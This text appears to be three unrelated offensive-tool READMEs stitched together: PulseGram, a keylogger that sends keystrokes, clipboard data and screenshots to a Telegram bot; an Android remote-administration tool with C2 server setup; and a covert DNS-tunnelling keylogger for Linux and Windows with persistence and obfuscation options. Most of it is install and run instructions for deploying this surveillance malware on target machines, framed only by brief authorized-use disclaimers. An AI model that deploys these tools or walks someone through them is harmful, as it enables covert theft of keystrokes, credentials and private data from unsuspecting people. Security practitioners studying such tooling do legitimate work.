PulseGram is a keylogger integrated with a Telegram bot. It is a monitoring tool that captures keystrokes, clipboard content, and screenshots, sending all the information to a configured Telegram bot. It is designed for use in adversary simulations and security testing contexts.
โ ๏ธ Warning: This project is for educational purposes and security testing in authorized environments only. Unauthorized use of this tool may be illegal and is prohibited.
ย
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt
file to facilitate debugging.
Clone the repository: bash git clone https://github.com/TaurusOmar/pulsegram cd pulsegram
Install dependencies: Make sure you have Python 3 and pip installed. Then run: bash pip install -r requirements.txt
Set up the Telegram bot token: Create a bot on Telegram using BotFather. Copy your token and paste it into the code in main.py
where the bot is initialized.
Copy yout ChatID chat_id="131933xxxx"
in keylogger.py
Run the tool on the target machine with:
python pulsegram.py
This is the main file of the tool, which initializes the bot and launches asynchronous tasks to capture and send data.
Bot(token="...")
: Initializes the Telegram bot with your personal token.asyncio.gather(...)
: Launches multiple tasks to execute clipboard monitoring, screenshot capture, and keystroke logging.log_error
: In case of errors, logs them in an errors_log.txt file.
This module contains auxiliary functions that assist the overall operation of the tool.
log_error()
: Logs any errors in errors_log.txt with a date and time format.get_clipboard_content()
: Captures the current content of the clipboard.capture_screenshot()
: Takes a screenshot and temporarily saves it to send it to the Telegram bot.
This module handles keylogging, clipboard monitoring, and screenshot captures.
capture_keystrokes(bot)
: Asynchronous function that captures keystrokes and sends the information to the Telegram bot.send_keystrokes_to_telegram(bot)
: This function sends the accumulated keystrokes to the bot.capture_screenshots(bot)
: Periodically captures an image of the screen and sends it to the bot.log_clipboard(bot)
: Sends the contents of the clipboard to the bot.
Change the capture and information sending time interval.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
This project is for educational purposes only and for security testing in your own environments or with express authorization. Unauthorized use of this tool may violate local laws and privacy policies.
Contributions are welcome. Please ensure to respect the code of conduct when collaborating.
This project is licensed under the MIT License.
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/
and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .
The default credentials are username: android
and password: android
mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
c2-server/.env
and web-socket/.env
database.sql
console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/sites-available/000-default.conf
```console ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
- Modify
/etc/apache2/apache2.confxml Comment this section #
Add this - Increase php file upload max size
/etc/php/./apache2/php.iniini ; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M
- Set web socket server address in <script> tag in
c2-server/src/View/home.phpand
c2-server/src/View/features/files.phpconsole const ws = new WebSocket('ws://IP_ADDRESS:8080');
- Restart apache using the command below
console sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in client
functionality/Utils.javajava public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
![]() |
This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p
flag to specify a different port.
ip
is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain
is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com
and ns2.example.com
.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh
is used by the logger.sh
script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh
script. It will automatically establish a connection and send the data.
logger.sh
# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit
. This will silently start the keylogger, and any inputs typed will be sent. The && exit
at the end will cause the shell to close on exit
. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null
to display error messages.
The -p
option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/
.
The -l
option will show warnings and errors. Can be useful for debugging.
logger.sh
and connection.sh
must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile
to start on every new interactive shell.
connection.sh
Usage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make
in the windows
directory. To build with reduced size and some amount of obfuscation, make the production
target. This will create the build
directory for you and output to a file named logger.exe
in the build
directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug
target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig
to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short
send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short
send a test message to localhost.
Replace example.com
with the domain the server is listening for.
A record requests starting with a
indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b
indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id
is the id that was established on connection. Data is sent as ASCII encoded in hex.
code
is one of the codes described below.
200
: OKIf the client sends a request that is processed normally, the server will respond with code 200
.
201
: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201
.
202
: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202
.
203
: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203
. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204
Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204
.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat
, you should select the appropriate option to print ASCII control characters, such as -v
for cat
, or open it in a text-editor.
The keylogger relies on script
, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A
always sends duplicate requests. The server will process it fine because it discards repeated packets.